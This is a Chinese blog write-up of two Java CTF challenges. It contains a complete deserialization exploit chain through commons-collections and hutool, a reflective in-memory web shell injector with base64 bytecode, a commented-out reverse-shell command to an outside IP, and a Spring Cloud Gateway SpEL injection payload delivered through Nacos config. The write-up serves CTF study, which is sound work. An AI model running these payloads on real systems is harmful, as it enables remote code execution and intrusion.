国赛的两道Java题

国赛的两道Java题

国赛持续0输出,摆烂了。。。

DeserBug(时间不够了XD)

反序列化打内存马

有cc依赖,但是是最新版的cc3,反序列化被修了。

    /**
     * Overrides the default readObject implementation to prevent
     * de-serialization (see COLLECTIONS-580).
     */
    private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
        FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
        is.defaultReadObject();
    }

重写了readObject来修复,有几个类被重写了:

所以现在为止的CC链全部修复了,需要另找出路。根据提示

cn.hutool.json.JSONObject.put()->Myexpect.getAnyexcept()

先分析put是如何触发到Myexpect类的。同样是JSON,有理由怀疑是不是类似FastJson可以触发任意getter,因为getAnyexcept函数不太可能有人会写这种调用(连驼峰格式都不是的函数名)。看一手源码

public JSONObject put(String key, Object value) throws JSONException {
        return set(key, value);
    }
//调用set↓
public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {
        if (null == key) {
            return this;
        }

        // 添加前置过滤,通过MutablePair实现过滤、修改键值对等
        if (null != filter) {
            final MutablePair<String, Object> pair = new MutablePair<>(key, value);
            if (filter.accept(pair)) {
                // 使用修改后的键值对
                key = pair.getKey();
                value = pair.getValue();
            } else {
                // 键值对被过滤
                return this;
            }
        }

        final boolean ignoreNullValue = this.config.isIgnoreNullValue();
        if (ObjectUtil.isNull(value) && ignoreNullValue) {
            // 忽略值模式下如果值为空清除key
            this.remove(key);
        } else {
            if (checkDuplicate && containsKey(key)) {
                throw new JSONException("Duplicate key \"{}\"", key);
            }

            super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));
        }
        return this;
    }
//调用JSONUtil.wrap()↓
public static Object wrap(Object object, JSONConfig jsonConfig) {
        if (object == null) {
            return jsonConfig.isIgnoreNullValue() ? null : JSONNull.NULL;
        }
        if (object instanceof JSON //
                || ObjectUtil.isNull(object) //
                || object instanceof JSONString //
                || object instanceof CharSequence //
                || object instanceof Number //
                || ObjectUtil.isBasicType(object) //
        ) {
            if(object instanceof Number && null != jsonConfig.getDateFormat()){
                return new NumberWithFormat((Number) object, jsonConfig.getDateFormat());
            }
            return object;
        }

        try {
            // fix issue#1399@Github
            if(object instanceof SQLException){
                return object.toString();
            }

            // JSONArray
            if (object instanceof Iterable || ArrayUtil.isArray(object)) {
                return new JSONArray(object, jsonConfig);
            }
            // JSONObject
            if (object instanceof Map || object instanceof Map.Entry) {
                return new JSONObject(object, jsonConfig);
            }

            // 日期类型原样保存,便于格式化
            if (object instanceof Date
                    || object instanceof Calendar
                    || object instanceof TemporalAccessor
            ) {
                return object;
            }
            // 枚举类保存其字符串形式(4.0.2新增)
            if (object instanceof Enum) {
                return object.toString();
            }

            // Java内部类不做转换
            if (ClassUtil.isJdkClass(object.getClass())) {
                return object.toString();
            }

            // 默认按照JSONObject对待
            return new JSONObject(object, jsonConfig);
        } catch (final Exception exception) {
            return null;
        }
    }
//调用JSONObject()↓

    /**
     * 构建JSONObject,规则如下:
     * <ol>
     * <li>value为Map,将键值对加入JSON对象</li>
     * <li>value为JSON字符串(CharSequence),使用JSONTokener解析</li>
     * <li>value为JSONTokener,直接解析</li>
     * <li>value为普通JavaBean,如果为普通的JavaBean,调用其getters方法(getXXX或者isXXX)获得值,加入到JSON对象。例如:如果JavaBean对象中有个方法getName(),值为"张三",获得的键值对为:name: "张三"</li>
     * </ol>
     * <p>
     * 如果给定值为Map,将键值对加入JSON对象;<br>
     * 如果为普通的JavaBean,调用其getters方法(getXXX或者isXXX)获得值,加入到JSON对象<br>
     * 例如:如果JavaBean对象中有个方法getName(),值为"张三",获得的键值对为:name: "张三"
     *
     * @param source JavaBean或者Map对象或者String
     * @param config JSON配置文件,{@code null}则使用默认配置
     * @since 4.2.2
     */
    public JSONObject(Object source, JSONConfig config) {
        this(source, config, null);
    }

后面就有点复杂,但是根据注释,可以知道可以调用任意的getter方法。所以可以直接使用其触发Myexpect.getAnyexcept()。Myexpect.getAnyexcept()熟悉cc链直接已研顶针,鉴定为TrAXFilter实例化调用TemplatesImpl写内存马或者rce。

终点已解决,现在找如何触发put。熟悉cc链的也不一定记得,LazyMap.get()能触发map.put,而JSONObject刚好实现了Map,所以,直接用cc链拼接即可(忘记是cc几了)。链子如下:

HashMap.readObject()->HashMap.hashCode()->
    TiedMapEntry.hashCode()->TiedMapEntry.getValue()->
        LazyMap.get()->
            JSONObject.put()->
                Myexpect.getAnyexpect()->
                    new TrAXFilter()

然后就是属性设置问题。先从断开的cc链--LazyMap开始分析:

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

需要LazyMap中不存在key对应的value值,即可调用put。然后value的值从工厂中的transform函数获得,该工厂是Transform的实例。找了一个顺眼的工厂:MapTransformer

public Object transform(Object input) {
        return iMap.get(input);
    }

直接在里面的iMap塞对应的值即可。然后JSONObject的调用看上面分析,可以发现如果LazyMap中国map.put(key, value)中的value是一个Object,而且不是Map、Entry等(看代码)实例,直接当作Bean处理,所以很简单,直接塞Myexpect进去就行。至此,链子分析完了。

题目不出网,所以得找这个框架的内存马,冷门框架,网上应该不会有,直接撸一个。先debug看看是怎么注册的路由。看源码发现使用SimpleServer注册的路由:

/**
 * 简易Http服务器,基于{@link HttpServer}
 *
 * @author looly
 * @since 5.2.5
 */
public class SimpleServer

基于HttpServer,然后在他给的源码发现用的addAction添加匿名函数进行添加路由

public SimpleServer addAction(String path, Action action) {
        return addHandler(path, new ActionHandler(action));
    }
//调用↓
public SimpleServer addHandler(String path, HttpHandler handler) {
        createContext(path, handler);
        return this;
    }
//调用↓
public HttpContext createContext(String path, HttpHandler handler) {
        // 非/开头的路径会报错
        path = StrUtil.addPrefixIfNot(path, StrUtil.SLASH);
        final HttpContext context = this.server.createContext(path, handler);
        // 增加整体过滤器
        context.getFilters().addAll(this.filters);
        return context;
    }

然后this.server就是HttpServer。所以只需要找到HttpServer的当前对象,调用createContext()函数即可创建路由。由于没有找到啥有用的工具类直接获得,所以直接从Thread.currentThread()找。

image-20230528220641807

找到了ServerImpl,已经很接近了,查看源码:

class ServerImpl implements TimeSource {
    ...
     private HttpServer wrapper;
    ...
}

所以在wrapper属性里面。

找到HttpServer,直接调用createContext()函数即可,整个注入过程代码:

package com.app;

import com.sun.net.httpserver.HttpHandler;
import sun.net.httpserver.HttpServerImpl;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class test {
    static void inject() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException {
        String base64String = "yv66vgAAADQAmAoAJQBHCgBIAEkKAEoASwgATAoADgBNCABOCABPCABQCgBRAFIKAA4AUwgAVAoADgBVBwBWBwBXCABYCABZCgANAFoIAFsIAFwHAF0KAA0AXgoAXwBgCgAUAGEIAGIKABQAYwoAFABkCgAUAGUKABQAZgcAZwoADgBoCgBIAGkKAEgAagoADgBrCgBsAG0KAGwAZgcAbgcAbwcAcAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTGNvbS9hcHAvQWN0aW9uU2hlbGw7AQAGaGFuZGxlAQAoKExjb20vc3VuL25ldC9odHRwc2VydmVyL0h0dHBFeGNoYW5nZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEADGh0dHBFeGNoYW5nZQEAJUxjb20vc3VuL25ldC9odHRwc2VydmVyL0h0dHBFeGNoYW5nZTsBAANjbWQBAAhyZXNwb25zZQEAAm9zAQAWTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEADVN0YWNrTWFwVGFibGUHAFcHAFYHAF0HAG4HAHEHAGcBAApFeGNlcHRpb25zBwByAQAKU291cmNlRmlsZQEAEEFjdGlvblNoZWxsLmphdmEMACcAKAcAcQwAcwB0BwB1DAB2AHcBAAE9DAB4AHkBABBXZWxjb21lIHRvIHNoZWxsAQAAAQAHb3MubmFtZQcAegwAewB8DAB9AHcBAAN3aW4MAH4AfwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACcAgAEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDACBAIIHAIMMAIQAhQwAJwCGAQACXEEMAIcAiAwAiQCKDACLAHcMAIwAKAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAI0AjgwAjwCQDACRAJIMAJMAlAcAlQwAlgCXAQATY29tL2FwcC9BY3Rpb25TaGVsbAEAEGphdmEvbGFuZy9PYmplY3QBACJjb20vc3VuL25ldC9odHRwc2VydmVyL0h0dHBIYW5kbGVyAQAjY29tL3N1bi9uZXQvaHR0cHNlcnZlci9IdHRwRXhjaGFuZ2UBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQANZ2V0UmVxdWVzdFVSSQEAECgpTGphdmEvbmV0L1VSSTsBAAxqYXZhL25ldC9VUkkBAAhnZXRRdWVyeQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAGbGVuZ3RoAQADKClJAQATc2VuZFJlc3BvbnNlSGVhZGVycwEABShJSilWAQAPZ2V0UmVzcG9uc2VCb2R5AQAYKClMamF2YS9pby9PdXRwdXRTdHJlYW07AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAUamF2YS9pby9PdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWACEAJAAlAAEAJgAAAAIAAQAnACgAAQApAAAALwABAAEAAAAFKrcAAbEAAAACACoAAAAGAAEAAAARACsAAAAMAAEAAAAFACwALQAAAAEALgAvAAIAKQAAAbQABgAHAAAAtyu2AAK2AAMSBLYABQQyTRIGThIHOgQSCLgACbYAChILtgAMmQAhuwANWQa9AA5ZAxIPU1kEEhBTWQUsU7cAEToFpwAeuwANWQa9AA5ZAxISU1kEEhNTWQUsU7cAEToFuwAUWRkFtgAVtgAWtwAXEhi2ABk6BhkGtgAamQALGQa2ABunAAUZBDoEGQa2ABwZBE6nAAU6BCsRAMgttgAehbYAHyu2ACA6BBkELbYAIbYAIhkEtgAjsQABABIAkQCUAB0AAwAqAAAARgARAAAAFQAPABYAEgAaABYAHAAmAB0ARAAfAF8AIQB1ACIAiQAjAI4AJACRACYAlAAlAJYAJwCiACgAqAApALEAKgC2ACsAKwAAAFwACQBBAAMAMAAxAAUAFgB7ADIAMwAEAF8AMgAwADEABQB1ABwANAA1AAYAAAC3ACwALQAAAAAAtwA2ADcAAQAPAKgAOAAzAAIAEgClADkAMwADAKgADwA6ADsABAA8AAAANQAG/gBEBwA9BwA9BwA9/AAaBwA+/AAlBwA/QQcAPf8ADAAEBwBABwBBBwA9BwA9AAEHAEIBAEMAAAAEAAEARAABAEUAAAACAEY=";
        byte[] bytes = Base64.getDecoder().decode(base64String);
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        method.invoke(classLoader, "com.app.ActionShell", bytes, 0, bytes.length);
        Thread thread = Thread.currentThread();
        Field groupField = thread.getClass().getDeclaredField("group");
        groupField.setAccessible(true);
        ThreadGroup threadGroup = (ThreadGroup) groupField.get(thread);
        Field threadsField = threadGroup.getClass().getDeclaredField("threads");
        threadsField.setAccessible(true);
        Thread[] threads = (Thread[]) threadsField.get(threadGroup);
        for (Thread t : threads) {
            if (t.getName().equalsIgnoreCase("Thread-2")) {
                Field targetField2 = t.getClass().getDeclaredField("target");
                targetField2.setAccessible(true);
                Object obj = targetField2.get(t);
                Field serverImplField = obj.getClass().getDeclaredField("this$0");
                serverImplField.setAccessible(true);
                Object o = serverImplField.get(obj);
                Field wrapperField = o.getClass().getDeclaredField("wrapper");
                wrapperField.setAccessible(true);
                HttpServerImpl httpServer = (HttpServerImpl) wrapperField.get(o);
                httpServer.createContext("/asd", (HttpHandler) classLoader.loadClass("com.app.ActionShell").newInstance());
            }
        }
    }
}

一系列反射进行注入,base64String是web shell的class字节码,用于defineClass加载该类,它的源码如下:

package com.app;
import com.sun.net.httpserver.*;

import java.io.IOException;
import java.io.OutputStream;

public class ActionShell implements HttpHandler {

    @Override
    public void handle(HttpExchange httpExchange) throws IOException {
        String cmd = httpExchange.getRequestURI().getQuery().split("=")[1];
        String response = "Welcome to shell";
//            String cmd = (String)queryMap.get("cmd");
            try {
//                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                response = o;
            }catch (Exception e){
            }
        httpExchange.sendResponseHeaders(200, (long)response.length());
        OutputStream os = httpExchange.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }
}

这个主要是实现HttpHandler实现命令执行即可,符合createContext要求。然后将内存马整合到反序列化链之中,exp如下:

package com.app;

import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class Exp {
    public static void main(String[] args) throws Exception {
//        ClassPool p = ClassPool.getDefault();
//        CtClass c = p.getCtClass("ActionShell");
//        System.out.println(new String(Base64.getEncoder().encode(c.toBytecode())));
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(nothing.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  //      String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
        String code = "{inject();}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl ti = new TemplatesImpl();
        setField(ti, "_name", "asd");
        setField(ti, "_bytecodes", new byte[][]{bytes});
        setField(ti, "_tfactory", new TransformerFactoryImpl());
        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{ti});
        HashMap inMap = new HashMap();
        inMap.put("asd", myexpect);
        MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(inMap);
        JSONObject jsonObject = new JSONObject();
        Map lazyMap = LazyMap.decorate(jsonObject, mapTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "asd");
        HashMap exp = makeMap(tiedMapEntry, "asd");
        ByteArrayOutputStream bas = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bas);
        oos.writeObject(exp);
        System.out.println(new String(Base64.getEncoder().encode(bas.toByteArray())));
    }

    public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Exp.setField(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Exp.setField(s, "table", tbl);
        return s;
    }
}

test.class在上面。。。

最后直接访问/asd?cmd=cat /flag即可

BackendService(大失败)

打nacos的,直接拿现有漏洞Nacos命令执行漏洞 - Recllie (requiem.ltd)

然后会发现它连配置都没有,那我们就从环境搭建开始,根据文章:Nacos结合Spring Cloud Gateway RCE利用 - 先知社区 (aliyun.com)

按照他的步骤,创建一个配置。根据附件的信息:bootstrap.yml

spring:
  cloud:
    nacos:
      discovery:
        server-addr: 127.0.0.1:8888
      config:
        name: backcfg
        file-extension: json
        group: DEFAULT_GROUP
        server-addr: 127.0.0.1:8888

创建如下配置:

下面的配置格式为json,内容为:

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ]
                    }
                ]
            }
        }
    }
}

然后发布,然后监听查询发现该配置已经开启监听。然后按照文章的做法,直接打Spring Cloud Gateway的spel注入,修改该配置为:

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'calc'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

本地已经命令执行,且出网。但是远程失败,大寄特寄。时间不多了,随便注入一个Interceptor内存马(之前模板注入的payload,不知道有没有成功),但是只能注入到Spring Boot里面,就是127.0.0.1:8888里面,本地测试疯狂500,而远程容器明显只有一个端口映射出来,肯定访问不了,所以大概率内存马打不了,但是不出网,不会了。。。。
nnd,为啥我就没反弹shell成功,服了XD

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇